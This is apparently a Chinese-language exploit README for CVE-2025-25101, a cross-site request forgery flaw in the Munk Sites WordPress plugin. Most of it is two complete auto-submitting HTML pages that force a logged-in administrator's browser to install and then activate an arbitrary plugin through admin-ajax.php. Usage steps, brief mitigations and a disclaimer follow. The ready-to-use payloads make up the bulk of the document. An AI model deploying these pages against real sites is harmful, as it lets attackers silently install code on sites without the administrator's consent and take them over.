CVE-2025-25101 是 MetricThemes Munk Sites 插件(版本 ≤ 1.0.7)中的一个 跨站请求伪造 (CSRF) 漏洞。
此漏洞允许 未认证的攻击者 诱骗管理员安装并激活任意插件,可能导致 远程代码执行 (RCE) 或 网站被攻破。
<= 1.0.7插件处于激活状态的任何版本| 分数 | 严重性 | 版本 | 向量字符串 |
|---|---|---|---|
| 9.6 | 🔥 严重 | 3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
Munk Sites 插件中的 CSRF 缺陷 允许攻击者强制已登录的 WordPress 管理员 在 不知情的情况下 安装并激活任意 WordPress 插件。
这是通过利用一个 未受保护的 admin-ajax.php 请求 实现的,该请求缺少 CSRF 令牌验证。
此负载强制受害者安装 hello-world 插件。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF Exploit - Plugin Installation</title>
<style>
body { font-family: Arial, sans-serif; text-align: center; background: #f4f4f4; padding: 20px; }
h1 { color: #d9534f; } h2 { color: #5bc0de; }
.output { margin-top: 20px; padding: 10px; background: white; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); }
.success { color: #5cb85c; font-weight: bold; }
</style>
</head>
<body onload="document.forms[0].submit()">
<h1>📌 CVE-2025-25101</h1>
<h2>CSRF Exploit - Install 'Hello World' Plugin</h2>
<h3>🚀 Exploit by: <b>Nxploit | Khaled Alenazi</b></h3>
<div class="output" id="output">🔄 Installing plugin...</div>
<form action="http://target.com/wp-admin/admin-ajax.php" method="GET">
<input type="hidden" name="action" value="cs_install_plugin">
<input type="hidden" name="plugin" value="hello-world">
</form>
<script>setTimeout(() => { document.getElementById("output").innerHTML = "<span class='success'>✅ Plugin installed successfully!</span>"; }, 5000);</script>
</body>
</html>
此负载强制受害者激活 hello-world 插件。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF Exploit - Plugin Activation</title>
<style>
body { font-family: Arial, sans-serif; text-align: center; background: #f4f4f4; padding: 20px; }
h1 { color: #d9534f; } h2 { color: #f0ad4e; }
.output { margin-top: 20px; padding: 10px; background: white; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); }
.success { color: #5cb85c; font-weight: bold; }
</style>
</head>
<body onload="document.forms[0].submit()">
<h1>📌 CVE-2025-25101</h1>
<h2>CSRF Exploit - Activate 'Hello World' Plugin</h2>
<h3>🚀 Exploit by: <b>Nxploit | Khaled Alenazi</b></h3>
<div class="output" id="output">🔄 Activating plugin...</div>
<form action="http://target.com/wp-admin/admin-ajax.php" method="GET">
<input type="hidden" name="action" value="cs_active_plugin">
<input type="hidden" name="plugin" value="hello-world">
</form>
<script>setTimeout(() => { document.getElementById("output").innerHTML = "<span class='success'>✅ Plugin activated successfully!</span>"; }, 5000);</script>
</body>
</html>
install.html 和 activate.html)。install.html。activate.html。hello-world 插件将在管理员未同意的情况下被安装并激活!.htaccess 或 Nginx 配置中的安全规则限制对 admin-ajax.php 的访问。wp_nonce_field() 和 check_admin_referer() 实现 CSRF 保护。⚠️ 此漏洞利用仅用于教育和安全研究目的。
⚠️ 未经明确许可在系统上未经授权使用是违法的。
⚠️ 作者对此代码的任何滥用不承担任何责任。
如果您认为此研究有价值,欢迎 ⭐ 给仓库加星,并通过报告 新漏洞 做出贡献。
作者:Nxploit | Khaled Alenazi